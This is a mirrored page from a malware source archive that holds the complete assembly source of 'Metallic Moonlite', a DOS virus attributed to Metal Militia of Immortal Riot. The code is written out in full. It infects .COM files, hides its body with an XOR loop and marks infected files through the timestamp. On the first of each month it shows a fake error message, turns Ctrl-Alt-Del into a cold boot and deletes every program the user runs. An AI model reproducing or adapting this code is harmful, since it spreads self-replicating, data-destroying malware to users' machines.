mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
244 lines
8.5 KiB
NASM
244 lines
8.5 KiB
NASM
; Virusname : Metallic Moonlite
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; Virusauthor: Metal Militia
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; Virusgroup : Immortal Riot
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; Origin : Sweden
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;
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; It's a non-resident, current dir infector of com-files. every first
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; of any month it will put a bit of code resident to make ctrl-alt-del's
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; to coldboots and delete all files being executed. It's encrypted with
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; an XOR-loop. If it's not the first it will simple make a screen-clear.
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; Um!.. well, enjoy Insane Reality issue #4!
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;
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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; METALLIC MOONLITE
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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.model tiny
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.code
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg,ss:cseg
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org 100h
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begin:
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dummy_host db 0e9h,00h,00h ; the jmp code
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virus_start:
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mov bp,0000h ; the delta offset
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call encrypt_decrypt ; call to unencrypt
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jmp restore_old_bytes ; restore old first bytes
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write_virus:
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call encrypt_decrypt ; call encryption routine
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lea dx,[bp+virus_start] ; from 100h (start)
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mov cx,heap-virus_start ; viruslength
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mov ah,40h ; write it
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int 21h
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call encrypt_decrypt ; once again, encryption routine
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; being called
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ret ; ret(urn) to "caller"
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enc_val dw 0 ; encryption value storage
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encrypt_decrypt:
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mov dx,word ptr [bp+enc_val] ; the encryption routine
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lea si,[bp+restore_old_bytes]
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mov cx,(heap_end-virus_start+1)/2
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again:
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xor word ptr [si],dx ; a simple XOR thang
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inc si ; but gaak!, so effective
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inc si
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loop again
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ret
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restore_old_bytes:
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mov di,0100h
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lea si,[bp+old_bytes] ; restore old first bytes
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movsw
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movsb
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lea dx,[bp+new_dta] ; DTA's place
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mov ah,1Ah ; set it
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int 21h
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lea dx,[bp+com_mask] ; file(s) to find
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mov cx,0002h ; hidden/normal attributes
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mov ah,4eh ; find first file
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find_next:
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int 21h
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jnc check_file ; found one? if so, check it
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jmp bye_bye ; no uninfected files found,
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; outa here
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check_file:
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mov ax,word ptr [bp+file_time] ; get time of file
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and al,00011111b ; mask seconds field
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cmp al,00010101b ; check for previous infection
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je try_again ; is it infected? so, try another
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jmp replicate ; not infected yet, kick it
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try_again:
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mov ah,4fh ; find next file
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jmp short find_next ; so, do that
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replicate:
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lea dx,[bp+file_name]
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sub cx,cx
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mov ax,4301h ; set attributes
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int 21h
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lea dx,[bp+file_name] ; open file
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mov ax,3d02h ; read/write access
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int 21h
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xchg ax,bx ; mov bx,ax
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mov ah,3fh ; read bytes
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mov cx,03h ; 3 of them
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lea dx,[bp+old_bytes] ; save them in the buffer (old_bytes)
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int 21h
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cwd
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sub cx,cx
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mov ax,4202h ; move file pointer to EOF
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int 21h
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sub ax,03h ; 3 bytes
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mov word ptr [bp+virus_start+1],ax ; from start
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mov word ptr [bp+new_bytes+1],ax ; our jmp code
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mov ah,2ch ; get time
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int 21h
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mov word ptr [bp+enc_val],dx ; put as encryption value
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call write_virus ; write our code (*.*)
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cwd
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sub cx,cx
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mov ax,4200h ; move file pointer to SOF
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int 21h
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lea dx,[bp+new_bytes] ; write our jmp code at beginning
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mov cx,03h ; 3 bytes long
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mov ah,40h ; kick it
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int 21h
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mov dx,word ptr [bp+file_date]
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mov cx,word ptr [bp+file_time]
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and cl,11100000b
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or cl,00010101b
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mov ax,5701h ; restore date and time
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int 21h ; and mask seconds to show
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; it's infected
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mov ah,3eh ; close file
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int 21h
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lea dx,[bp+file_name]
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sub cx,cx
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mov cl,byte ptr [bp+file_attr]
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mov ax,4301h ; restore the original attributes
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int 21h
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jmp try_again ; try to find another file
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bye_bye:
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mov ah,2ah ; get date
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int 21h
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cmp dl,1 ; the first of any month?
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je print_it ; if so, deletion time
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jmp nofuckup ; else, quit
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print_it:
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mov ah,9h ; print note
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lea dx,[bp+offset printfake] ; faked thing
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int 21h
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jmp resident ; go resident
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int_9_entry proc far
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push ax
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in al,60h
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cmp al,delcode ; ctrl-alt-del?
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je warmboot ; if so, boot
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pop ax
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jmp cs:Old_9 ; let them use the old one
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warmboot:
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db 0eah,00h,00h,0ffh,0ffh ; no warmboot, but a coldboot
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iret ; i wonder if they will notice
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int_9_entry endp ; thatone (?)
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int_21h_entry proc far
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cmp ax,4b00h ; are they running a file?
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jne go_on ; if not, check other thang
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mov ah,41h ; delete it
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int 21h
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go_on:
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cmp ax,4B9Fh ; is another copy trying to go resident?
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je loc_0111 ; if so, show that we're here already
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jmp cs:Old_21 ; else, let them use old int21
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loc_0111:
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mov ax,1994h ; 1994, our TSR mark here
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iret ; to show that one copy's already eating memory
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int_21h_entry endp
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en:
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resident:
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mov ax,3509h ; hook int9 (to read keyboard)
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int 21h
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mov word ptr cs:Old_9,bx ; save the old one here
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mov word ptr cs:Old_9+2,es
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mov ax,2509h
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mov dx,offset int_9_entry ; and use ours instead
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int 21h
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mov ax,3521h ; hook int21 too (for filedeletion)
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int 21h
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mov word ptr cs:Old_21,bx ; save old int21 here
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mov word ptr cs:Old_21+2,es
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mov ax,2521h
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mov dx,offset int_21h_entry ; and let ours be used instead
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int 21h
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mov dx,offset en ; what to put resident
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int 27h ; do it
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nofuckup:
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; mov ah,0fh ; remove the first ";"
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; int 10h ; and a screen-clear
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; mov ah,0 ; will occure every
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; int 10h ; execution.
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restore_it_all:
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jmp restore_dir ; restore everything
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restore_dir:
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mov ah,1ah ; restore DTA
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mov dx,80h ; right now
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int 21h
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mov ax,0100h ; set ax to start
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push ax ; push it
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retn ; back to original program
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virusname db 'Metallic Moonlite' ; virus name
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copyright db '(c) Metal Militia/Immortal Riot' ; virus author
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greetings db 'Greetings to The Unforgiven/IR'
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printfake db 'Bad command or filename$'
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com_mask db '*.com',0 ; files to infect, .com(mand)
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old_bytes db 0cdh,20h,90h ; old jmp saved here
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new_bytes db 0e9h,00h,00h ; new jmp code here
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delcode equ 53h ; ctrl-alt-del code(s)
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heap:
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old_9 dd 0 ; save's old int9 here
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old_21 dd 0 ; save's old int21 aswell
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new_dta db 21 dup(?) ; the new DTA
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file_attr db ? ; files attributes
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file_time dw ? ; files time
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file_date dw ? ; files date
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file_size dd ? ; files size
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file_name db 13 dup(?) ; files name
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old_attrs db 5 dup(?) ; files old attributes
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heap_end: ; eov (end of virus)
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cseg ends
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end begin |